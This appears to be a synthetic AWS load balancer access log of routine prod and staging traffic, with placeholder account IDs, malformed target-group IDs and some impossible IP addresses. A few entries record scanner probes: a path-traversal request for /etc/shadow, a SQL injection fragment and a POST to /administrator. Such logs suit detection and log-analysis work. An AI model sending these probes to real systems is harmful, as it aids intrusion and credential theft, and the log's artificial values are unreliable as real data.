0.092968 200 200 389 12643 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de2d-f479bb294649454ca2e56e71" "prod-web-alb.example.com" "-" 2 2024-11-01T02:44:45.146968Z "forward" "-" "-" "10.0.253.78:443" "200" "-" "-" +https 2024-11-01T02:44:46.985171Z prod-web-alb 223.168.60.233:32086 10.0.25.101:443 0.086303 0.064875 0.070573 200 200 772 10682 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de2e-2bf32b98e877432b99a52d03" "prod-web-alb.example.com" "-" 3 2024-11-01T02:44:46.985171Z "forward" "-" "-" "10.0.25.101:443" "200" "-" "-" +https 2024-11-01T02:44:47.302127Z prod-api-alb 99.27.121.110:46148 10.0.191.226:443 0.038752 0.223036 0.094074 200 200 896 3489 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de2f-ff6e25942aaf4cfe8a073437" "prod-api-alb.example.com" "-" 3 2024-11-01T02:44:47.302127Z "forward" "-" "-" "10.0.191.226:443" "200" "-" "-" +https 2024-11-01T02:44:49.173223Z prod-web-alb 244.210.233.25:63810 10.0.214.140:443 0.082101 0.365223 0.067702 404 404 572 3453 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de31-0ca83781cdc24ba2add8b752" "prod-web-alb.example.com" "-" 6 2024-11-01T02:44:49.173223Z "forward" "-" "-" "10.0.214.140:443" "404" "-" "-" +https 2024-11-01T02:44:50.923093Z prod-api-alb 249.62.176.245:25524 10.0.171.46:443 0.064533 0.496132 0.060930 404 404 95 8666 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de32-a7f3e16ac596479ab3e6c725" "prod-api-alb.example.com" "-" 1 2024-11-01T02:44:50.923093Z "forward" "-" "-" "10.0.171.46:443" "404" "-" "-" +https 2024-11-01T02:44:51.124442Z prod-api-alb 200.116.100.253:30337 10.0.7.133:443 0.009753 0.098800 0.082205 200 200 812 13658 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de33-d460571fdfbf4cf480355708" "prod-api-alb.example.com" "-" 0 2024-11-01T02:44:51.124442Z "forward" "-" "-" "10.0.7.133:443" "200" "-" "-" +https 2024-11-01T02:44:51.960686Z prod-api-alb 175.122.135.63:13373 10.0.132.82:443 0.017540 0.251237 0.006840 200 200 138 6073 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de33-62e8a2b85fb34b9a990a4094" "prod-api-alb.example.com" "-" 0 2024-11-01T02:44:51.960686Z "forward" "-" "-" "10.0.132.82:443" "200" "-" "-" +https 2024-11-01T02:44:53.754824Z prod-api-alb 156.71.98.181:61461 10.0.215.122:443 0.095877 0.499516 0.040209 301 301 569 4985 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de35-16e05305b6634bf38821ca3a" "prod-api-alb.example.com" "-" 4 2024-11-01T02:44:53.754824Z "forward" "-" "-" "10.0.215.122:443" "301" "-" "-" +https 2024-11-01T02:44:54.803314Z prod-web-alb 87.62.213.165:50825 10.0.218.239:443 0.084489 0.451709 0.096986 200 200 979 3632 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de36-89fd8bf6f2774d789b45d5ee" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:54.803314Z "forward" "-" "-" "10.0.218.239:443" "200" "-" "-" +https 2024-11-01T02:44:56.094950Z staging-alb 94.89.239.156:62375 245.39.164.174:443 0.051522 0.277642 0.107962 301 301 895 14677 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de38-daf9afc065724847abbce85e" "staging-alb.example.com" "-" 4 2024-11-01T02:44:56.094950Z "forward" "-" "-" "245.39.164.174:443" "301" "-" "-" +http 2024-11-01T02:44:57.450089Z staging-alb 73.126.107.43:49201 251.114.247.65:8080 0.023822 0.692208 0.061251 200 200 940 11109 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de39-bd1be17b39564a1cb69fc94b" "staging-alb.example.com" "-" 5 2024-11-01T02:44:57.450089Z "forward" "-" "-" "251.114.247.65:8080" "200" "-" "-" +https 2024-11-01T02:44:58.352936Z prod-web-alb 137.185.70.126:16821 10.0.230.112:443 0.026497 0.259206 0.081179 200 200 843 9597 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de3a-b827ede7cdc246d1aeeea9eb" "prod-web-alb.example.com" "-" 7 2024-11-01T02:44:58.352936Z "forward" "-" "-" "10.0.230.112:443" "200" "-" "-" +https 2024-11-01T02:45:00.234338Z prod-web-alb 79.212.243.123:26734 10.0.92.222:443 0.068802 0.284427 0.080396 200 200 422 3673 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de3c-a06cdb131d0a4dc6997ad418" "prod-web-alb.example.com" "-" 2 2024-11-01T02:45:00.234338Z "forward" "-" "-" "10.0.92.222:443" "200" "-" "-" +https 2024-11-01T02:45:01.947317Z prod-web-alb 72.29.61.19:47299 10.0.7.199:443 0.019951 0.431194 0.045332 301 301 519 5530 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de3d-a1008ff2d38c479c8f2d00c1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:45:01.947317Z "forward" "-" "-" "10.0.7.199:443" "301" "-" "-" +https 2024-11-01T02:45:03.400582Z prod-web-alb 159.31.234.87:35920 10.0.68.1:443 0.000144 0.395887 0.001436 301 301 925 11316 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de3f-421b4272a5c54a4e8aef32a0" "prod-web-alb.example.com" "-" 2 2024-11-01T02:45:03.400582Z "forward" "-" "-" "10.0.68.1:443" "301" "-" "-" +https 2024-11-01T02:45:04.912345Z prod-api-alb 210.140.202.120:13205 10.0.81.169:443 0.017712 0.311615 0.026872 302 302 72 8592 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de40-561a07f7e6784427b25a2946" "prod-api-alb.example.com" "-" 3 2024-11-01T02:45:04.912345Z "forward" "-" "-" "10.0.81.169:443" "302" "-" "-" +https 2024-11-01T02:45:05.328142Z prod-api-alb 14.235.170.140:22499 10.0.42.85:443 0.071960 0.476938 0.069604 200 200 801 4650 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de41-06c7121ca2d743979a906983" "prod-api-alb.example.com" "-" 3 2024-11-01T02:45:05.328142Z "forward" "-" "-" "10.0.42.85:443" "200" "-" "-" +https 2024-11-01T02:45:05.453573Z prod-api-alb 196.163.170.47:33812 10.0.52.34:443 0.033414 0.449242 0.095199 302 302 11 1887 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de41-8b3e8faca99747bdb8c36cf1" "prod-api-alb.example.com" "-" 3 2024-11-01T02:45:05.453573Z "forward" "-" "-" "10.0.52.34:443" "302" "-" "-" +https 2024-11-01T02:45:06.978744Z prod-web-alb 147.253.11.218:16754 10.0.232.250:443 0.087015 0.188390 0.046349 200 200 833 7528 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de42-2d9fef8e00fd44f5a5be4552" "prod-web-alb.example.com" "-" 8 2024-11-01T02:45:06.978744Z "forward" "-" "-" "10.0.232.250:443" "200" "-" "-" +https 2024-11-01T02:45:07.902146Z staging-alb 115.62.39.53:41296 41.151.209.203:8080 0.017368 0.463650 0.048767 301 301 195 1787 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de43-1459d71a578047f4b5f54dcd" "staging-alb.example.com" "-" 2 2024-11-01T02:45:07.902146Z "forward" "-" "-" "41.151.209.203:8080" "301" "-" "-" +http 2024-11-01T02:45:09.887792Z staging-alb 6.120.175.22:34696 51.176.201.245:8080 0.079782 0.488752 0.128774 404 404 266 9695 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de45-c09eabe4c26a49608835e316" "staging-alb.example.com" "-" 8 2024-11-01T02:45:09.887792Z "forward" "-" "-" "51.176.201.245:8080" "404" "-" "-" +https 2024-11-01T02:45:10.500424Z staging-alb 102.12.109.140:12915 215.209.207.117:443 0.073913 0.716974 0.112572 200 200 666 13835 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de46-6b58695ea8dd4c0894c6496b" "staging-alb.example.com" "-" 8 2024-11-01T02:45:10.500424Z "forward" "-" "-" "215.209.207.117:443" "200" "-" "-" +https 2024-11-01T02:45:11.866182Z prod-web-alb 139.227.225.160:14371 10.0.234.2:443 0.033944 0.355838 0.034340 200 200 994 6462 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de47-e9c9a357664541b3b4db5d4d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:45:11.866182Z "forward" "-" "-" "10.0.234.2:443" "200" "-" "-" +https 2024-11-01T02:45:12.734879Z prod-api-alb 179.73.236.77:41393 10.0.165.38:443 0.017174 0.067207 0.041383 302 302 362 2501 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de48-b3c3d612e41b4d9e99d174d9" "prod-api-alb.example.com" "-" 9 2024-11-01T02:45:12.734879Z "forward" "-" "-" "10.0.165.38:443" "302" "-" "-" +https 2024-11-01T02:45:13.036973Z staging-alb 73.159.157.52:58172 209.159.222.189:8080 0.101545 0.143679 0.096003 200 200 608 13339 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de49-053b7d1245ea4344b1e0461b" "staging-alb.example.com" "-" 1 2024-11-01T02:45:13.036973Z "forward" "-" "-" "209.159.222.189:8080" "200" "-" "-" +http 2024-11-01T02:45:14.775446Z staging-alb 130.46.82.179:60494 224.109.234.123:443 0.077973 0.271492 0.092328 302 302 250 666 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de4a-25011eccd1ec4f3fa0449e75" "-" "-" 8 2024-11-01T02:45:14.775446Z "forward" "-" "-" "224.109.234.123:443" "302" "-" "-" +https 2024-11-01T02:45:16.357823Z prod-api-alb 217.75.191.34:62502 10.0.211.187:443 0.032705 0.317541 0.081017 200 200 287 9564 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de4c-efa52429b91747ecb1753853" "prod-api-alb.example.com" "-" 8 2024-11-01T02:45:16.357823Z "forward" "-" "-" "10.0.211.187:443" "200" "-" "-" +http 2024-11-01T02:45:16.944513Z staging-alb 100.108.107.253:64103 24.189.175.136:443 0.145454 0.592903 0.055469 200 200 807 3231 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de4c-9c3f38d9a9934c60b12fad11" "staging-alb.example.com" "-" 7 2024-11-01T02:45:16.944513Z "forward" "-" "-" "24.189.175.136:443" "200" "-" "-" +https 2024-11-01T02:45:18.115311Z prod-api-alb 66.65.108.95:16632 10.0.70.196:443 0.042839 0.068860 0.001683 404 404 439 1866 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de4e-47ff2d44d8894435a1d8a082" "prod-api-alb.example.com" "-" 5 2024-11-01T02:45:18.115311Z "forward" "-" "-" "10.0.70.196:443" "404" "-" "-" +https 2024-11-01T02:45:18.911105Z prod-api-alb 49.149.207.118:36099 10.0.130.251:443 0.048133 0.289853 0.073936 200 200 656 5784 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de4e-9bfebc5061994c04b40c4744" "prod-api-alb.example.com" "-" 6 2024-11-01T02:45:18.911105Z "forward" "-" "-" "10.0.130.251:443" "200" "-" "-" +https 2024-11-01T02:45:19.925505Z prod-api-alb 254.215.80.106:61027 10.0.104.145:443 0.016434 0.151647 0.019586 200 200 605 11250 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de4f-62a78a0eea8b4410b5ba472f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:45:19.925505Z "forward" "-" "-" "10.0.104.145:443" "200" "-" "-" +https 2024-11-01T02:45:20.089739Z prod-api-alb 185.181.60.141:35837 10.0.4.89:443 0.068687 0.322121 0.003241 403 403 452 769 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de50-52dd452c8ed04b62875fecc9" "-" "-" 2 2024-11-01T02:45:20.089739Z "forward" "-" "-" "10.0.4.89:443" "403" "-" "-" +https 2024-11-01T02:45:22.085061Z prod-api-alb 15.250.126.255:27344 10.0.255.26:443 0.055943 0.294446 0.064702 200 200 390 3044 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de52-c79c73d6069a4054bbf686ef" "prod-api-alb.example.com" "-" 0 2024-11-01T02:45:22.085061Z "forward" "-" "-" "10.0.255.26:443" "200" "-" "-" +https 2024-11-01T02:45:24.023370Z prod-web-alb 247.119.237.134:10257 10.0.247.159:443 0.016719 0.489845 0.092275 301 301 661 10622 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de54-ef259bf0b237496694672336" "prod-web-alb.example.com" "-" 8 2024-11-01T02:45:24.023370Z "forward" "-" "-" "10.0.247.159:443" "301" "-" "-" +http 2024-11-01T02:45:25.566846Z staging-alb 250.145.221.222:45111 80.216.105.232:443 0.019661 0.382770 0.088830 200 200 771 10083 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de55-56b3695fca7848fd9fe1f8e6" "staging-alb.example.com" "-" 5 2024-11-01T02:45:25.566846Z "forward" "-" "-" "80.216.105.232:443" "200" "-" "-" +https 2024-11-01T02:45:27.166866Z prod-api-alb 193.27.228.199:45550 10.0.140.224:443 0.009022 0.460931 0.057020 200 200 230 818 "POST /search?q=1' UNION SELECT HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de57-24a302b396c7446f854b94f1" "-" "-" 2 2024-11-01T02:45:27.166866Z "forward" "-" "-" "10.0.140.224:443" "200" "-" "-" +https 2024-11-01T02:45:28.365621Z prod-api-alb 150.105.117.39:34919 10.0.89.208:443 0.006567 0.173339 0.027519 301 301 992 12622 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de58-c34b98af449b4332a2d1e139" "prod-api-alb.example.com" "-" 9 2024-11-01T02:45:28.365621Z "forward" "-" "-" "10.0.89.208:443" "301" "-" "-" +https 2024-11-01T02:45:29.108294Z prod-api-alb 43.78.13.39:46117 10.0.156.158:443 0.050360 0.444371 0.072599 200 200 481 12397 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de59-5ddcfd6121d5457ba5fb5066" "prod-api-alb.example.com" "-" 2 2024-11-01T02:45:29.108294Z "forward" "-" "-" "10.0.156.158:443" "200" "-" "-" +https 2024-11-01T02:45:30.158843Z prod-web-alb 176.163.154.113:38774 10.0.20.173:443 0.003449 0.419623 0.057821 302 302 43 9392 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de5a-0b13440c900b422a81eba101" "prod-web-alb.example.com" "-" 1 2024-11-01T02:45:30.158843Z "forward" "-" "-" "10.0.20.173:443" "302" "-" "-" +https 2024-11-01T02:45:31.583725Z prod-web-alb 184.94.133.59:61505 10.0.55.134:443 0.093262 0.267055 0.005324 404 404 596 4745 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de5b-98f31b88ff344fd2acb38f7e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:45:31.583725Z "forward" "-" "-" "10.0.55.134:443" "404" "-" "-" +https 2024-11-01T02:45:32.172156Z prod-web-alb 125.22.186.222:16428 10.0.85.89:443 0.007784 0.275080 0.066861 301 301 378 10802 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de5c-9d7d377553a949a29aae5f96" "prod-web-alb.example.com" "-" 10 2024-11-01T02:45:32.172156Z "forward" "-" "-" "10.0.85.89:443" "301" "-" "-" +http 2024-11-01T02:45:32.807856Z staging-alb 214.31.19.81:64074 103.32.241.49:443 0.058535 0.354171 0.038091 302 302 902 8460 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de5c-3f52d8be4c894b41b4332a31" "staging-alb.example.com" "-" 2 2024-11-01T02:45:32.807856Z "forward" "-" "-" "103.32.241.49:443" "302" "-" "-" +https 2024-11-01T02:45:34.715062Z staging-alb 32.22.151.147:45758 189.104.106.183:443 0.052988 0.007052 0.101311 200 200 334 9052 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de5e-fe3b60ee912248b0a90fe8d7" "staging-alb.example.com" "-" 4 2024-11-01T02:45:34.715062Z "forward" "-" "-" "189.104.106.183:443" "200" "-" "-" +http 2024-11-01T02:45:36.369387Z staging-alb 11.68.138.233:52105 149.63.254.105:80 0.099486 0.000564 0.094309 200 200 4 9876 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de60-19738ac4c39041e880c263ac" "staging-alb.example.com" "-" 8 2024-11-01T02:45:36.369387Z "forward" "-" "-" "149.63.254.105:80" "200" "-" "-" +https 2024-11-01T02:45:36.844469Z staging-alb 110.114.206.178:62466 255.70.76.176:8080 0.135666 0.609731 0.045597 301 301 659 3465 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de60-121b96d650ee437aa286c738" "staging-alb.example.com" "-" 5 2024-11-01T02:45:36.844469Z "forward" "-" "-" "255.70.76.176:8080" "301" "-" "-" +https 2024-11-01T02:45:38.476988Z prod-api-alb 203.76.177.116:13320 10.0.171.248:443 0.067206 0.099224 0.088158 404 404 331 5773 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de62-b608b628e09742e6b1993c04" "prod-api-alb.example.com" "-" 9 2024-11-01T02:45:38.476988Z "forward" "-" "-" "10.0.171.248:443" "404" "-" "-" +https 2024-11-01T02:45:38.686043Z prod-web-alb 85.131.61.183:16914 10.0.200.48:443 0.039987 0.451607 0.013017 404 404 260 5047 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de62-d9ddc433d0cf47648591511f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:45:38.686043Z "forward" "-" "-" "10.0.200.48:443" "404" "-" "-" +http 2024-11-01T02:45:40.035503Z staging-alb 45.155.205.47:47528 121.251.108.237:80 0.051245 0.285914 0.142627 403 403 165 1211 "POST /administrator HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de64-d6bc2798ce5245e5ad770456" "-" "-" 9 2024-11-01T02:45:40.035503Z "forward" "-" "-" "121.251.108.237:80" "403" "-" "-" +http 2024-11-01T02:45:41.811172Z staging-alb 221.2.177.62:48942 141.136.255.176:8080 0.051257 0.122645 0.077379 200 200 300 2871 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de65-fb829236e68a4cbcbb961f67" "staging-alb.example.com" "-" 2 2024-11-01T02:45:41.811172Z "forward" "-" "-" "141.136.255.176:8080" "200" "-" "-" +https 